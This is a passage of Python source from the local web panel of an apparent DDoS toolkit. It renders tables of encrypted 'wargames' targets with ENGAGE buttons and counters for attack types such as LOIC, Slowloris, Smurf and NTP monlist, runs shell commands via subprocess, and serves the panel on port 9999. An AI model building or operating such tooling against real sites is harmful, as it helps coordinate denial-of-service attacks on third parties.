  4956. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  4957. else:
  4958. wargames_autopanel = ""
  4959. wargames_supply = ""
  4960. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  4961. f = open("/tmp/out", "w")
  4962. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  4963. wargames_id = 1
  4964. for m in self.list_wargames_rev: # list = creation, target, estimated
  4965. if wargames_msg_sep in m:
  4966. m = m.split(wargames_msg_sep)
  4967. wargames_creation = m[0] # creation date
  4968. self.decrypt(wargames_deckey, wargames_creation)
  4969. if self.decryptedtext:
  4970. wargames_creation = self.decryptedtext
  4971. else:
  4972. wargames_creation = nodec_text
  4973. self.decryptedtext = "" # clean decryptedtext buffer
  4974. wargames_target = m[1] # target
  4975. wargames_target_joined = wargames_target
  4976. self.decrypt(wargames_deckey, wargames_target)
  4977. if self.decryptedtext:
  4978. wargames_target = self.decryptedtext
  4979. if wargames_target.startswith("www."):
  4980. wargames_target = wargames_target.replace("www.","")
  4981. else:
  4982. wargames_target = nodec_text
  4983. self.decryptedtext = "" # clean decryptedtext buffer
  4984. wargames_estimated = m[2] # estimated time
  4985. self.decrypt(wargames_deckey, wargames_estimated)
  4986. if self.decryptedtext:
  4987. wargames_estimated = self.decryptedtext
  4988. wargames_join_flag = True
  4989. else:
  4990. wargames_estimated = nodec_text
  4991. self.decryptedtext = "" # clean decryptedtext buffer
  4992. else:
  4993. wargames_target = "KEY?"
  4994. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4995. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4996. try:
  4997. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4998. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4999. except: # discarding errors also on panel
  5000. wargames_creation = now
  5001. wargames_estimated = now
  5002. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  5003. wargames_creation = now
  5004. wargames_estimated = now
  5005. if (now >= wargames_estimated) == False: # change flag color when time is out
  5006. time_now = time.mktime(now)
  5007. time_estimated = time.mktime(wargames_estimated)
  5008. wargames_eta = (time_estimated - time_now)
  5009. hours, rem = divmod(wargames_eta, 3600)
  5010. minutes, seconds = divmod(rem, 60)
  5011. if "!!!" in wargames_target_joined:
  5012. status = "JOINED!"
  5013. wargames_status = "<font color='cyan'>"+status+"</font>"
  5014. if wargames_join_flag == True:
  5015. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  5016. else:
  5017. wargames_join = "KEY?" # present but with a different crypto-key
  5018. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5019. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5020. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  5021. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5022. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  5023. else:
  5024. status = "-ONGOING-"
  5025. wargames_status = "<font color='orange'>"+status+"</font>"
  5026. if wargames_join_flag == True:
  5027. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  5028. else:
  5029. wargames_join = "KEY?" # present but with a different crypto-key
  5030. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5031. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5032. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  5033. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5034. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  5035. else:
  5036. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5037. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  5038. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5039. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  5040. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  5041. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  5042. status = "-CLOSED-"
  5043. wargames_status = "<font color='red'>"+status+"</font>"
  5044. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  5045. wargames_id = wargames_id + 1
  5046. wargames_table += "</table><br>"
  5047. f.write(wargames_table)
  5048. f.write(end_mark)
  5049. f.close()
  5050. if page == "/cmd_decrypt_wargames_update":
  5051. if not os.path.exists('/tmp/out'):
  5052. open('/tmp/out', 'w').close()
  5053. with open('/tmp/out', 'r') as f:
  5054. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  5055. if page == "/blackholes":
  5056. self.pages["/blackholes"] = self.html_blackholes()
  5057. if page == "/requests":
  5058. if pGet=={}:
  5059. self.pages["/requests"] = self.html_requests()
  5060. else:
  5061. self.save_cfg(pGet)
  5062. self.pages["/requests"] = self.html_request_submit()
  5063. if page == "/abduction":
  5064. self.pages["/abduction"] = self.html_abduction()
  5065. if page == "/stats":
  5066. self.pages["/stats"] = self.html_stats()
  5067. if page == "/wormhole":
  5068. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  5069. ctype = "text/html"
  5070. if page.find(".js") != -1:
  5071. ctype = "application/javascript"
  5072. elif page.find(".txt") != -1:
  5073. ctype = "text/plain"
  5074. elif page.find(".ico") != -1:
  5075. ctype = "image/x-icon"
  5076. elif page.find(".png") != -1:
  5077. ctype = "image/png"
  5078. elif page.find(".css") != -1:
  5079. ctype = "text/css"
  5080. if page in self.pages:
  5081. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  5082. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  5083. class Command(object):
  5084. def __init__(self, cmd):
  5085. self.cmd = cmd
  5086. self.process = None
  5087. def run(self, timeout):
  5088. def target():
  5089. self.process = subprocess.Popen(self.cmd, shell=True)
  5090. thread = threading.Thread(target=target)
  5091. thread.start()
  5092. thread.join(timeout)
  5093. if thread.is_alive():
  5094. self.process.terminate()
  5095. thread.join()
  5096. if __name__ == "__main__":
  5097. webbrowser.open('http://127.0.0.1:9999', new=1)
  5098. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5099. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  5100. tcpsock.bind((host, port))
  5101. while True:
  5102. tcpsock.listen(4)
  5103. (clientsock, (ip, c_port)) = tcpsock.accept()
  5104. newthread = ClientThread(ip, c_port, clientsock)
  5105. newthread.start()